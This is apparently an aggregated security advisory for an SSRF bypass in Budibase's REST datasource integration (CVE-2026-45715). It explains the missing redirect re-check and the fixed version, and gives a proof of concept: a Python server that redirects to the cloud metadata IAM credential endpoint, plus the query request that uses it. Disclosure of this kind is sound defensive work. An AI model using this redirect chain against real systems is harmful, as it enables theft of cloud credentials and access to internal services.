@budibase/server
Affected
- introduced
0, fixed3.38.1(semver)
Fixed versions
3.38.1
Fix
- Fixed version
3.38.1npm install @budibase/[email protected]
Advisory
Also known as: CVE-2026-45715
Budibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration
Summary
The REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (fetchWithBlacklist in packages/server/src/automations/steps/utils.ts) but the REST integration was missed.
Details
Vulnerable file: packages/server/src/integrations/rest.ts, lines 754-778
The _req() method checks the request URL against the IP blacklist at line 754, then calls fetch(url, input) at line 778. No redirect: "manual" option is set, so undici's fetch defaults to redirect: "follow", automatically following HTTP 301/302/307 redirects without re-validating the redirect target against the blacklist.
// Line 754 — blacklist check on original URL only
if (await blacklist.isBlacklisted(url)) {
throw new Error("URL is blocked or could not be resolved safely.")
}
// Line 778 — fetch follows redirects, NO re-check on redirect target
response = await fetch(url, input)
The automation steps already implement the correct fix in packages/server/src/automations/steps/utils.ts (lines 100-136) via fetchWithBlacklist(), which sets redirect: "manual" and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper.
Relevant prior fix commits on the automation side:
6cfa3bcca3 — "fix(server): enforce outbound blacklist in webhook automation steps"e7d47625be — "Fix automation webhook blacklist redirect bypass"PoC
Step 1 — Set up a redirect server (attacker-controlled):
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/iam/security-credentials/')
self.end_headers()
HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()
Step 2 — As a Builder, create a REST datasource pointing to the attacker's server.
Step 3 — Preview a query:
POST /api/queries/preview HTTP/1.1
Host: <budibase-instance>
Content-Type: application/json
Cookie: <builder-session>
x-budibase-app-id: <app-id>
{
"datasourceId": "<rest-datasource-id>",
"queryVerb": "read",
"fields": {
"path": "http://<attacker-ip>:8080/",
"queryString": "",
"headers": {},
"bodyType": "none",
"requestBody": ""
},
"parameters": [],
"transformer": "return data",
"name": "ssrf-test",
"schema": {}
}
Step 4 — The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:
{
"rows": [{
"couchdb": "Welcome",
"version": "3.3.3",
"uuid": "a84d3353128485a22973a759df2387bc"
}]
}
Tested and confirmed on Budibase v3.34.6 running locally with default blacklist active.
Impact
169.254.169.254 to steal IAM credentials or service account tokens.:4005), Redis (:6379), MinIO (:4004), and other internal services become accessible6cfa3bcca3, e7d47625be) but the REST datasource integration was not patched.High Basis: The source's own band: HIGH
0, fixed 3.38.1 (semver)3.38.1
3.38.1npm install @budibase/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0